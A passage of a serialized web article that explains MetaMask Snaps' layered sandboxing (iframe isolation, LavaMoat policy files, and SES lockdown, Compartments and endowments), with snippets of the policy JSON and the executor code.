0,"children":127491},{"style":7054},[127492],{"type":32,"value":127493},"uri",{"type":26,"tag":217,"props":127495,"children":127496},{"style":7048},[127497],{"type":32,"value":7669},{"type":26,"tag":217,"props":127499,"children":127500},{"class":7028,"line":7439},[127501,127506,127510,127514,127518,127523,127527,127532],{"type":26,"tag":217,"props":127502,"children":127503},{"style":7054},[127504],{"type":32,"value":127505},"    document",{"type":26,"tag":217,"props":127507,"children":127508},{"style":7048},[127509],{"type":32,"value":180},{"type":26,"tag":217,"props":127511,"children":127512},{"style":7054},[127513],{"type":32,"value":7399},{"type":26,"tag":217,"props":127515,"children":127516},{"style":7048},[127517],{"type":32,"value":180},{"type":26,"tag":217,"props":127519,"children":127520},{"style":7064},[127521],{"type":32,"value":127522},"appendChild",{"type":26,"tag":217,"props":127524,"children":127525},{"style":7048},[127526],{"type":32,"value":1851},{"type":26,"tag":217,"props":127528,"children":127529},{"style":7054},[127530],{"type":32,"value":127531},"iframe",{"type":26,"tag":217,"props":127533,"children":127534},{"style":7048},[127535],{"type":32,"value":7669},{"type":26,"tag":39,"props":127537,"children":127538},{},[127539],{"type":32,"value":127540},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":26,"tag":607,"props":127542,"children":127544},{"id":127543},"lavamoat-against-supply-chain-attacks-layer-2",[127545],{"type":32,"value":127546},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":26,"tag":39,"props":127548,"children":127549},{},[127550],{"type":32,"value":127551},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":26,"tag":39,"props":127553,"children":127554},{},[127555,127557,127562],{"type":32,"value":127556},"Malicious dependencies might utilize built-in modules like ",{"type":26,"tag":83,"props":127558,"children":127560},{"className":127559},[],[127561],{"type":32,"value":39166},{"type":32,"value":127563},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":26,"tag":39,"props":127565,"children":127566},{},[127567],{"type":32,"value":127568},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":26,"tag":39,"props":127570,"children":127571},{},[127572,127574,127581],{"type":32,"value":127573},"This is how a Policy file related to the iframes ",{"type":26,"tag":163,"props":127575,"children":127578},{"href":127576,"rel":127577},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[167],[127579],{"type":32,"value":127580},"looks",{"type":32,"value":1473},{"type":26,"tag":207,"props":127583,"children":127585},{"className":15849,"code":127584,"language":15848,"meta":8,"style":8},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[127586],{"type":26,"tag":83,"props":127587,"children":127588},{"__ignoreMap":8},[127589,127601,127612,127632,127652,127671,127691,127711,127731,127751,127766,127773,127784,127804,127820,127827],{"type":26,"tag":217,"props":127590,"children":127591},{"class":7028,"line":7029},[127592,127597],{"type":26,"tag":217,"props":127593,"children":127594},{"style":7338},[127595],{"type":32,"value":127596},"\"@metamask/post-message-stream\"",{"type":26,"tag":217,"props":127598,"children":127599},{"style":7048},[127600],{"type":32,"value":15894},{"type":26,"tag":217,"props":127602,"children":127603},{"class":7028,"line":6770},[127604,127608],{"type":26,"tag":217,"props":127605,"children":127606},{"style":7054},[127607],{"type":32,"value":68706},{"type":26,"tag":217,"props":127609,"children":127610},{"style":7048},[127611],{"type":32,"value":15894},{"type":26,"tag":217,"props":127613,"children":127614},{"class":7028,"line":6779},[127615,127620,127624,127628],{"type":26,"tag":217,"props":127616,"children":127617},{"style":7054},[127618],{"type":32,"value":127619},"        \"MessageEvent.prototype\"",{"type":26,"tag":217,"props":127621,"children":127622},{"style":7048},[127623],{"type":32,"value":14785},{"type":26,"tag":217,"props":127625,"children":127626},{"style":7154},[127627],{"type":32,"value":231},{"type":26,"tag":217,"props":127629,"children":127630},{"style":7048},[127631],{"type":32,"value":10953},{"type":26,"tag":217,"props":127633,"children":127634},{"class":7028,"line":7140},[127635,127640,127644,127648],{"type":26,"tag":217,"props":127636,"children":127637},{"style":7054},[127638],{"type":32,"value":127639},"        \"WorkerGlobalScope\"",{"type":26,"tag":217,"props":127641,"children":127642},{"style":7048},[127643],{"type":32,"value":14785},{"type":26,"tag":217,"props":127645,"children":127646},{"style":7154},[127647],{"type":32,"value":231},{"type":26,"tag":217,"props":127649,"children":127650},{"style":7048},[127651],{"type":32,"value":10953},{"type":26,"tag":217,"props":127653,"children":127654},{"class":7028,"line":7165},[127655,127659,127663,127667],{"type":26,"tag":217,"props":127656,"children":127657},{"style":7054},[127658],{"type":32,"value":116178},{"type":26,"tag":217,"props":127660,"children":127661},{"style":7048},[127662],{"type":32,"value":14785},{"type":26,"tag":217,"props":127664,"children":127665},{"style":7154},[127666],{"type":32,"value":231},{"type":26,"tag":217,"props":127668,"children":127669},{"style":7048},[127670],{"type":32,"value":10953},{"type":26,"tag":217,"props":127672,"children":127673},{"class":7028,"line":7178},[127674,127679,127683,127687],{"type":26,"tag":217,"props":127675,"children":127676},{"style":7054},[127677],{"type":32,"value":127678},"        \"browser\"",{"type":26,"tag":217,"props":127680,"children":127681},{"style":7048},[127682],{"type":32,"value":14785},{"type":26,"tag":217,"props":127684,"children":127685},{"style":7154},[127686],{"type":32,"value":231},{"type":26,"tag":217,"props":127688,"children":127689},{"style":7048},[127690],{"type":32,"value":10953},{"type":26,"tag":217,"props":127692,"children":127693},{"class":7028,"line":7389},[127694,127699,127703,127707],{"type":26,"tag":217,"props":127695,"children":127696},{"style":7054},[127697],{"type":32,"value":127698},"        \"chrome\"",{"type":26,"tag":217,"props":127700,"children":127701},{"style":7048},[127702],{"type":32,"value":14785},{"type":26,"tag":217,"props":127704,"children":127705},{"style":7154},[127706],{"type":32,"value":231},{"type":26,"tag":217,"props":127708,"children":127709},{"style":7048},[127710],{"type":32,"value":10953},{"type":26,"tag":217,"props":127712,"children":127713},{"class":7028,"line":7406},[127714,127719,127723,127727],{"type":26,"tag":217,"props":127715,"children":127716},{"style":7054},[127717],{"type":32,"value":127718},"        \"location.origin\"",{"type":26,"tag":217,"props":127720,"children":127721},{"style":7048},[127722],{"type":32,"value":14785},{"type":26,"tag":217,"props":127724,"children":127725},{"style":7154},[127726],{"type":32,"value":231},{"type":26,"tag":217,"props":127728,"children":127729},{"style":7048},[127730],{"type":32,"value":10953},{"type":26,"tag":217,"props":127732,"children":127733},{"class":7028,"line":7439},[127734,127739,127743,127747],{"type":26,"tag":217,"props":127735,"children":127736},{"style":7054},[127737],{"type":32,"value":127738},"        \"postMessage\"",{"type":26,"tag":217,"props":127740,"children":127741},{"style":7048},[127742],{"type":32,"value":14785},{"type":26,"tag":217,"props":127744,"children":127745},{"style":7154},[127746],{"type":32,"value":231},{"type":26,"tag":217,"props":127748,"children":127749},{"style":7048},[127750],{"type":32,"value":10953},{"type":26,"tag":217,"props":127752,"children":127753},{"class":7028,"line":7487},[127754,127758,127762],{"type":26,"tag":217,"props":127755,"children":127756},{"style":7054},[127757],{"type":32,"value":116339},{"type":26,"tag":217,"props":127759,"children":127760},{"style":7048},[127761],{"type":32,"value":14785},{"type":26,"tag":217,"props":127763,"children":127764},{"style":7154},[127765],{"type":32,"value":68727},{"type":26,"tag":217,"props":127767,"children":127768},{"class":7028,"line":7524},[127769],{"type":26,"tag":217,"props":127770,"children":127771},{"style":7048},[127772],{"type":32,"value":16071},{"type":26,"tag":217,"props":127774,"children":127775},{"class":7028,"line":7553},[127776,127780],{"type":26,"tag":217,"props":127777,"children":127778},{"style":7054},[127779],{"type":32,"value":68816},{"type":26,"tag":217,"props":127781,"children":127782},{"style":7048},[127783],{"type":32,"value":15894},{"type":26,"tag":217,"props":127785,"children":127786},{"class":7028,"line":7570},[127787,127792,127796,127800],{"type":26,"tag":217,"props":127788,"children":127789},{"style":7054},[127790],{"type":32,"value":127791},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":26,"tag":217,"props":127793,"children":127794},{"style":7048},[127795],{"type":32,"value":14785},{"type":26,"tag":217,"props":127797,"children":127798},{"style":7154},[127799],{"type":32,"value":231},{"type":26,"tag":217,"props":127801,"children":127802},{"style":7048},[127803],{"type":32,"value":10953},{"type":26,"tag":217,"props":127805,"children":127806},{"class":7028,"line":7621},[127807,127812,127816],{"type":26,"tag":217,"props":127808,"children":127809},{"style":7054},[127810],{"type":32,"value":127811},"        \"@metamask/post-message-stream>readable-stream\"",{"type":26,"tag":217,"props":127813,"children":127814},{"style":7048},[127815],{"type":32,"value":14785},{"type":26,"tag":217,"props":127817,"children":127818},{"style":7154},[127819],{"type":32,"value":68727},{"type":26,"tag":217,"props":127821,"children":127822},{"class":7028,"line":7672},[127823],{"type":26,"tag":217,"props":127824,"children":127825},{"style":7048},[127826],{"type":32,"value":9210},{"type":26,"tag":217,"props":127828,"children":127829},{"class":7028,"line":7681},[127830],{"type":26,"tag":217,"props":127831,"children":127832},{"style":7048},[127833],{"type":32,"value":9754},{"type":26,"tag":39,"props":127835,"children":127836},{},[127837,127839,127844,127846,127851,127853,127859,127861,127867,127868,127874],{"type":32,"value":127838},"One crucial aspect of the policy, apart from the ",{"type":26,"tag":83,"props":127840,"children":127842},{"className":127841},[],[127843],{"type":32,"value":116436},{"type":32,"value":127845}," section, is the ",{"type":26,"tag":83,"props":127847,"children":127849},{"className":127848},[],[127850],{"type":32,"value":116444},{"type":32,"value":127852}," segment. This section permits the ",{"type":26,"tag":83,"props":127854,"children":127856},{"className":127855},[],[127857],{"type":32,"value":127858},"@metamask/post-message-stream",{"type":32,"value":127860},"package to exclusively interact with the package ",{"type":26,"tag":83,"props":127862,"children":127864},{"className":127863},[],[127865],{"type":32,"value":127866},"@metamask/utils",{"type":32,"value":1308},{"type":26,"tag":83,"props":127869,"children":127871},{"className":127870},[],[127872],{"type":32,"value":127873},"readable-stream",{"type":32,"value":127875},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":26,"tag":39,"props":127877,"children":127878},{},[127879,127881,127887],{"type":32,"value":127880},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":26,"tag":83,"props":127882,"children":127884},{"className":127883},[],[127885],{"type":32,"value":127886},"lockdown",{"type":32,"value":127888}," function to freeze all javascript builtins prototypes.",{"type":26,"tag":607,"props":127890,"children":127892},{"id":127891},"secure-ecmascript-ses-sandbox-layer-3",[127893],{"type":32,"value":127894},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":26,"tag":39,"props":127896,"children":127897},{},[127898,127900,127907],{"type":32,"value":127899},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":26,"tag":163,"props":127901,"children":127904},{"href":127902,"rel":127903},"https://github.com/endojs/endo/tree/master/packages/ses",[167],[127905],{"type":32,"value":127906},"Secure EcmaScript (SES)",{"type":32,"value":127908}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":26,"tag":631,"props":127910,"children":127912},{"id":127911},"ses-fundamentals",[127913],{"type":32,"value":127914},"SES Fundamentals",{"type":26,"tag":37105,"props":127916,"children":127917},{"id":127886},[127918],{"type":32,"value":127919},"Lockdown",{"type":26,"tag":39,"props":127921,"children":127922},{},[127923,127925,127931],{"type":32,"value":127924},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":26,"tag":83,"props":127926,"children":127928},{"className":127927},[],[127929],{"type":32,"value":127930},"lockdown()",{"type":32,"value":127932}," function, which protects javascript objects against some attacks, mainly:",{"type":26,"tag":6712,"props":127934,"children":127935},{},[127936,127948],{"type":26,"tag":2044,"props":127937,"children":127938},{},[127939,127941,127946],{"type":32,"value":127940},"Prototype Pollution\nLockdown executes ",{"type":26,"tag":83,"props":127942,"children":127944},{"className":127943},[],[127945],{"type":32,"value":68936},{"type":32,"value":127947}," against all javascript builtins prototypes, preventing these attacks.",{"type":26,"tag":2044,"props":127949,"children":127950},{},[127951,127953,127959,127961,127966],{"type":32,"value":127952},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":26,"tag":83,"props":127954,"children":127956},{"className":127955},[],[127957],{"type":32,"value":127958},"trace",{"type":32,"value":127960}," attribute in an ",{"type":26,"tag":83,"props":127962,"children":127964},{"className":127963},[],[127965],{"type":32,"value":56972},{"type":32,"value":127967}," object, which contains the stack trace of the error.",{"type":26,"tag":37105,"props":127969,"children":127971},{"id":127970},"compartment",[127972],{"type":32,"value":127973},"Compartment",{"type":26,"tag":39,"props":127975,"children":127976},{},[127977,127979,127984,127986,127991],{"type":32,"value":127978},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":26,"tag":83,"props":127980,"children":127982},{"className":127981},[],[127983],{"type":32,"value":118441},{"type":32,"value":127985}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":26,"tag":83,"props":127987,"children":127989},{"className":127988},[],[127990],{"type":32,"value":118441},{"type":32,"value":127992}," context is incapable of tampering with security.",{"type":26,"tag":207,"props":127994,"children":127996},{"className":12398,"code":127995,"language":12397,"meta":8,"style":8},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[127997],{"type":26,"tag":83,"props":127998,"children":127999},{"__ignoreMap":8},[128000,128028,128061],{"type":26,"tag":217,"props":128001,"children":128002},{"class":7028,"line":7029},[128003,128007,128011,128015,128019,128024],{"type":26,"tag":217,"props":128004,"children":128005},{"style":7154},[128006],{"type":32,"value":74748},{"type":26,"tag":217,"props":128008,"children":128009},{"style":7054},[128010],{"type":32,"value":8511},{"type":26,"tag":217,"props":128012,"children":128013},{"style":7149},[128014],{"type":32,"value":8993},{"type":26,"tag":217,"props":128016,"children":128017},{"style":7154},[128018],{"type":32,"value":25931},{"type":26,"tag":217,"props":128020,"children":128021},{"style":7064},[128022],{"type":32,"value":128023}," Compartment",{"type":26,"tag":217,"props":128025,"children":128026},{"style":7048},[128027],{"type":32,"value":8217},{"type":26,"tag":217,"props":128029,"children":128030},{"class":7028,"line":6770},[128031,128035,128039,128043,128047,128052,128056],{"type":26,"tag":217,"props":128032,"children":128033},{"style":7054},[128034],{"type":32,"value":2255},{"type":26,"tag":217,"props":128036,"children":128037},{"style":7048},[128038],{"type":32,"value":180},{"type":26,"tag":217,"props":128040,"children":128041},{"style":7054},[128042],{"type":32,"value":118441},{"type":26,"tag":217,"props":128044,"children":128045},{"style":7149},[128046],{"type":32,"value":67525},{"type":26,"tag":217,"props":128048,"children":128049},{"style":7054},[128050],{"type":32,"value":128051}," globalThis",{"type":26,"tag":217,"props":128053,"children":128054},{"style":7048},[128055],{"type":32,"value":13137},{"type":26,"tag":217,"props":128057,"children":128058},{"style":7033},[128059],{"type":32,"value":128060},"// false\n",{"type":26,"tag":217,"props":128062,"children":128063},{"class":7028,"line":6779},[128064,128068,128072,128076,128080,128085,128089,128093,128097],{"type":26,"tag":217,"props":128065,"children":128066},{"style":7054},[128067],{"type":32,"value":2255},{"type":26,"tag":217,"props":128069,"children":128070},{"style":7048},[128071],{"type":32,"value":180},{"type":26,"tag":217,"props":128073,"children":128074},{"style":7054},[128075],{"type":32,"value":118441},{"type":26,"tag":217,"props":128077,"children":128078},{"style":7048},[128079],{"type":32,"value":180},{"type":26,"tag":217,"props":128081,"children":128082},{"style":7054},[128083],{"type":32,"value":128084},"JSON",{"type":26,"tag":217,"props":128086,"children":128087},{"style":7149},[128088],{"type":32,"value":67525},{"type":26,"tag":217,"props":128090,"children":128091},{"style":7054},[128092],{"type":32,"value":67547},{"type":26,"tag":217,"props":128094,"children":128095},{"style":7048},[128096],{"type":32,"value":13137},{"type":26,"tag":217,"props":128098,"children":128099},{"style":7033},[128100],{"type":32,"value":128101},"// true\n",{"type":26,"tag":39,"props":128103,"children":128104},{},[128105,128107,128112,128113,128119,128121,128126],{"type":32,"value":128106},"Compartment also changes the behaviour of evaluators functions such as ",{"type":26,"tag":83,"props":128108,"children":128110},{"className":128109},[],[128111],{"type":32,"value":33126},{"type":32,"value":37144},{"type":26,"tag":83,"props":128114,"children":128116},{"className":128115},[],[128117],{"type":32,"value":128118},"Function",{"type":32,"value":128120}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":26,"tag":83,"props":128122,"children":128124},{"className":128123},[],[128125],{"type":32,"value":118441},{"type":32,"value":180},{"type":26,"tag":37105,"props":128128,"children":128130},{"id":128129},"endowments",[128131],{"type":32,"value":128132},"Endowments",{"type":26,"tag":39,"props":128134,"children":128135},{},[128136,128138,128142,128144,128149],{"type":32,"value":128137},"While creating a Compartment, it is possible to specify ",{"type":26,"tag":65,"props":128139,"children":128140},{},[128141],{"type":32,"value":128129},{"type":32,"value":128143},". These endowments constitute objects that become accessible within the Compartment's ",{"type":26,"tag":83,"props":128145,"children":128147},{"className":128146},[],[128148],{"type":32,"value":118441},{"type":32,"value":128150},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":26,"tag":39,"props":128152,"children":128153},{},[128154,128156,128162],{"type":32,"value":128155},"In addition, SES provides the ",{"type":26,"tag":83,"props":128157,"children":128159},{"className":128158},[],[128160],{"type":32,"value":128161},"harden()",{"type":32,"value":128163}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":26,"tag":631,"props":128165,"children":128167},{"id":128166},"setting-up-snaps-execution-env",[128168],{"type":32,"value":128169},"Setting up Snaps Execution Env",{"type":26,"tag":39,"props":128171,"children":128172},{},[128173],{"type":32,"value":128174},"When starting a snap, the setup follows these steps:",{"type":26,"tag":6712,"props":128176,"children":128177},{},[128178],{"type":26,"tag":2044,"props":128179,"children":128180},{},[128181],{"type":26,"tag":9348,"props":128182,"children":128183},{},[128184,128186],{"type":32,"value":128185},"Create endowments based on snap ",{"type":26,"tag":163,"props":128187,"children":128190},{"href":128188,"rel":128189},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[167],[128191],{"type":32,"value":128192},"permissions",{"type":26,"tag":207,"props":128194,"children":128196},{"className":12398,"code":128195,"language":12397,"meta":8,"style":8},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[128197],{"type":26,"tag":83,"props":128198,"children":128199},{"__ignoreMap":8},[128200,128250,128262,128274,128286,128298],{"type":26,"tag":217,"props":128201,"children":128202},{"class":7028,"line":7029},[128203,128207,128211,128215,128219,128224,128228,128233,128237,128241,128246],{"type":26,"tag":217,"props":128204,"children":128205},{"style":7154},[128206],{"type":32,"value":74748},{"type":26,"tag":217,"props":128208,"children":128209},{"style":7048},[128210],{"type":32,"value":65337},{"type":26,"tag":217,"props":128212,"children":128213},{"style":7054},[128214],{"type":32,"value":128129},{"type":26,"tag":217,"props":128216,"children":128217},{"style":7048},[128218],{"type":32,"value":7599},{"type":26,"tag":217,"props":128220,"children":128221},{"style":7054},[128222],{"type":32,"value":128223},"teardown",{"type":26,"tag":217,"props":128225,"children":128226},{"style":7048},[128227],{"type":32,"value":14785},{"type":26,"tag":217,"props":128229,"children":128230},{"style":7054},[128231],{"type":32,"value":128232},"endowmentTeardown",{"type":26,"tag":217,"props":128234,"children":128235},{"style":7048},[128236],{"type":32,"value":100278},{"type":26,"tag":217,"props":128238,"children":128239},{"style":7149},[128240],{"type":32,"value":267},{"type":26,"tag":217,"props":128242,"children":128243},{"style":7064},[128244],{"type":32,"value":128245}," createEndowments",{"type":26,"tag":217,"props":128247,"children":128248},{"style":7048},[128249],{"type":32,"value":10932},{"type":26,"tag":217,"props":128251,"children":128252},{"class":7028,"line":6770},[128253,128258],{"type":26,"tag":217,"props":128254,"children":128255},{"style":7054},[128256],{"type":32,"value":128257},"    snap",{"type":26,"tag":217,"props":128259,"children":128260},{"style":7048},[128261],{"type":32,"value":10953},{"type":26,"tag":217,"props":128263,"children":128264},{"class":7028,"line":6779},[128265,128270],{"type":26,"tag":217,"props":128266,"children":128267},{"style":7054},[128268],{"type":32,"value":128269},"    ethereum",{"type":26,"tag":217,"props":128271,"children":128272},{"style":7048},[128273],{"type":32,"value":10953},{"type":26,"tag":217,"props":128275,"children":128276},{"class":7028,"line":7140},[128277,128282],{"type":26,"tag":217,"props":128278,"children":128279},{"style":7054},[128280],{"type":32,"value":128281},"    snapId",{"type":26,"tag":217,"props":128283,"children":128284},{"style":7048},[128285],{"type":32,"value":10953},{"type":26,"tag":217,"props":128287,"children":128288},{"class":7028,"line":7165},[128289,128294],{"type":26,"tag":217,"props":128290,"children":128291},{"style":7054},[128292],{"type":32,"value":128293},"    _endowments",{"type":26,"tag":217,"props":128295,"children":128296},{"style":7048},[128297],{"type":32,"value":10953},{"type":26,"tag":217,"props":128299,"children":128300},{"class":7028,"line":7178},[128301],{"type":26,"tag":217,"props":128302,"children":128303},{"style":7048},[128304],{"type":32,"value":7669},{"type":26,"tag":39,"props":128306,"children":128307},{},[128308],{"type":32,"value":128309},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":26,"tag":39,"props":128311,"children":128312},{},[128313,128315,128321,128323,128328],{"type":32,"value":128314},"One clear example is the ",{"type":26,"tag":83,"props":128316,"children":128318},{"className":128317},[],[128319],{"type":32,"value":128320},"endowment:network-access",{"type":32,"value":128322}," permission, that adds the ",{"type":26,"tag":83,"props":128324,"children":128326},{"className":128325},[],[128327],{"type":32,"value":66469},{"type":32,"value":128329}," function to the endowments.",{"type":26,"tag":39,"props":128331,"children":128332},{},[128333,128335,128341],{"type":32,"value":128334},"All endowments are protected with the ",{"type":26,"tag":83,"props":128336,"children":128338},{"className":128337},[],[128339],{"type":32,"value":128340},"harden",{"type":32,"value":128342}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":26,"tag":6712,"props":128344,"children":128345},{"start":6770},[128346],{"type":26,"tag":2044,"props":128347,"children":128348},{},[128349],{"type":26,"tag":9348,"props":128350,"children":128351},{},[128352,128354],{"type":32,"value":128353},"Create the snap ",{"type":26,"tag":163,"props":128355,"children":128358},{"href":128356,"rel":128357},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[167],[128359],{"type":32,"value":127970},{"type":26,"tag":207,"props":128361,"children":128363},{"className":12398,"code":128362,"language":12397,"meta":8,"style":8},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[128364],{"type":26,"tag":83,"props":128365,"children":128366},{"__ignoreMap":8},[128367,128395,128411,128428,128452],{"type":26,"tag":217,"props":128368,"children":128369},{"class":7028,"line":7029},[128370,128374,128379,128383,128387,128391],{"type":26,"tag":217,"props":128371,"children":128372},{"style":7154},[128373],{"type":32,"value":74748},{"type":26,"tag":217,"props":128375,"children":128376},{"style":7054},[128377],{"type":32,"value":128378}," compartment",{"type":26,"tag":217,"props":128380,"children":128381},{"style":7149},[128382],{"type":32,"value":8993},{"type":26,"tag":217,"props":128384,"children":128385},{"style":7154},[128386],{"type":32,"value":25931},{"type":26,"tag":217,"props":128388,"children":128389},{"style":7064},[128390],{"type":32,"value":128023},{"type":26,"tag":217,"props":128392,"children":128393},{"style":7048},[128394],{"type":32,"value":13500},{"type":26,"tag":217,"props":128396,"children":128397},{"class":7028,"line":6770},[128398,128403,128407],{"type":26,"tag":217,"props":128399,"children":128400},{"style":7149},[128401],{"type":32,"value":128402},"    ...",{"type":26,"tag":217,"props":128404,"children":128405},{"style":7054},[128406],{"type":32,"value":128129},{"type":26,"tag":217,"props":128408,"children":128409},{"style":7048},[128410],{"type":32,"value":10953},{"type":26,"tag":217,"props":128412,"children":128413},{"class":7028,"line":6779},[128414,128419,128424],{"type":26,"tag":217,"props":128415,"children":128416},{"style":7054},[128417],{"type":32,"value":128418},"    module:",{"type":26,"tag":217,"props":128420,"children":128421},{"style":7054},[128422],{"type":32,"value":128423}," snapModule",{"type":26,"tag":217,"props":128425,"children":128426},{"style":7048},[128427],{"type":32,"value":10953},{"type":26,"tag":217,"props":128429,"children":128430},{"class":7028,"line":7140},[128431,128436,128440,128444,128448],{"type":26,"tag":217,"props":128432,"children":128433},{"style":7054},[128434],{"type":32,"value":128435},"    exports:",{"type":26,"tag":217,"props":128437,"children":128438},{"style":7054},[128439],{"type":32,"value":128423},{"type":26,"tag":217,"props":128441,"children":128442},{"style":7048},[128443],{"type":32,"value":180},{"type":26,"tag":217,"props":128445,"children":128446},{"style":7054},[128447],{"type":32,"value":26367},{"type":26,"tag":217,"props":128449,"children":128450},{"style":7048},[128451],{"type":32,"value":10953},{"type":26,"tag":217,"props":128453,"children":128454},{"class":7028,"line":7165},[128455],{"type":26,"tag":217,"props":128456,"children":128457},{"style":7048},[128458],{"type":32,"value":14040},{"type":26,"tag":39,"props":128460,"children":128461},{},[128462,128464,128470,128471,128476,128478,128483],{"type":32,"value":128463},"Note: ",{"type":26,"tag":83,"props":128465,"children":128467},{"className":128466},[],[128468],{"type":32,"value":128469},"module",{"type":32,"value":1308},{"type":26,"tag":83,"props":128472,"children":128474},{"className":128473},[],[128475],{"type":32,"value":26367},{"type":32,"value":128477}," are passed as endowments, but without being ",{"type":26,"tag":65,"props":128479,"children":128480},{},[128481],{"type":32,"value":128482},"hardened",{"type":32,"value":128484},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":26,"tag":6712,"props":128486,"children":128487},{"start":6779},[128488],{"type":26,"tag":2044,"props":128489,"children":128490},{},[128491],{"type":26,"tag":9348,"props":128492,"children":128493},{},[128494,128496],{"type":32,"value":128495},"Evaluate the snap code inside the ",{"type":26,"tag":163,"props":128497,"children":128500},{"href":128498,"rel":128499},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[167],[128501],{"type":32,"value":127970},{"type":26,"tag":207,"props":128503,"children":128505},{"className":12398,"code":128504,"language":12397,"meta":8,"style":8},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[128506],{"type":26,"tag":83,"props":128507,"children":128508},{"__ignoreMap":8},[128509,128550,128578,128615],{"type":26,"tag":217,"props":128510,"children":128511},{"class":7028,"line":7029},[128512,128516,128520,128524,128529,128533,128537,128542,128546],{"type":26,"tag":217,"props":128513,"children":128514},{"style":7042},[128515],{"type":32,"value":7864},{"type":26,"tag":217,"props":128517,"children":128518},{"style":7154},[128519],{"type":32,"value":126308},{"type":26,"tag":217,"props":128521,"children":128522},{"style":7048},[128523],{"type":32,"value":180},{"type":26,"tag":217,"props":128525,"children":128526},{"style":7064},[128527],{"type":32,"value":128528},"executeInSnapContext",{"type":26,"tag":217,"props":128530,"children":128531},{"style":7048},[128532],{"type":32,"value":1851},{"type":26,"tag":217,"props":128534,"children":128535},{"style":7054},[128536],{"type":32,"value":126609},{"type":26,"tag":217,"props":128538,"children":128539},{"style":7048},[128540],{"type":32,"value":128541},", () ",{"type":26,"tag":217,"props":128543,"children":128544},{"style":7154},[128545],{"type":32,"value":8059},{"type":26,"tag":217,"props":128547,"children":128548},{"style":7048},[128549],{"type":32,"value":8064},{"type":26,"tag":217,"props":128551,"children":128552},{"class":7028,"line":6770},[128553,128558,128562,128566,128570,128574],{"type":26,"tag":217,"props":128554,"children":128555},{"style":7054},[128556],{"type":32,"value":128557},"    compartment",{"type":26,"tag":217,"props":128559,"children":128560},{"style":7048},[128561],{"type":32,"value":180},{"type":26,"tag":217,"props":128563,"children":128564},{"style":7064},[128565],{"type":32,"value":76417},{"type":26,"tag":217,"props":128567,"children":128568},{"style":7048},[128569],{"type":32,"value":1851},{"type":26,"tag":217,"props":128571,"children":128572},{"style":7054},[128573],{"type":32,"value":117578},{"type":26,"tag":217,"props":128575,"children":128576},{"style":7048},[128577],{"type":32,"value":7669},{"type":26,"tag":217,"props":128579,"children":128580},{"class":7028,"line":6779},[128581,128585,128589,128594,128598,128602,128606,128611],{"type":26,"tag":217,"props":128582,"children":128583},{"style":7154},[128584],{"type":32,"value":126651},{"type":26,"tag":217,"props":128586,"children":128587},{"style":7048},[128588],{"type":32,"value":180},{"type":26,"tag":217,"props":128590,"children":128591},{"style":7064},[128592],{"type":32,"value":128593},"registerSnapExports",{"type":26,"tag":217,"props":128595,"children":128596},{"style":7048},[128597],{"type":32,"value":1851},{"type":26,"tag":217,"props":128599,"children":128600},{"style":7054},[128601],{"type":32,"value":126609},{"type":26,"tag":217,"props":128603,"children":128604},{"style":7048},[128605],{"type":32,"value":7599},{"type":26,"tag":217,"props":128607,"children":128608},{"style":7054},[128609],{"type":32,"value":128610},"snapModule",{"type":26,"tag":217,"props":128612,"children":128613},{"style":7048},[128614],{"type":32,"value":7669},{"type":26,"tag":217,"props":128616,"children":128617},{"class":7028,"line":7140},[128618],{"type":26,"tag":217,"props":128619,"children":128620},{"style":7048},[128621],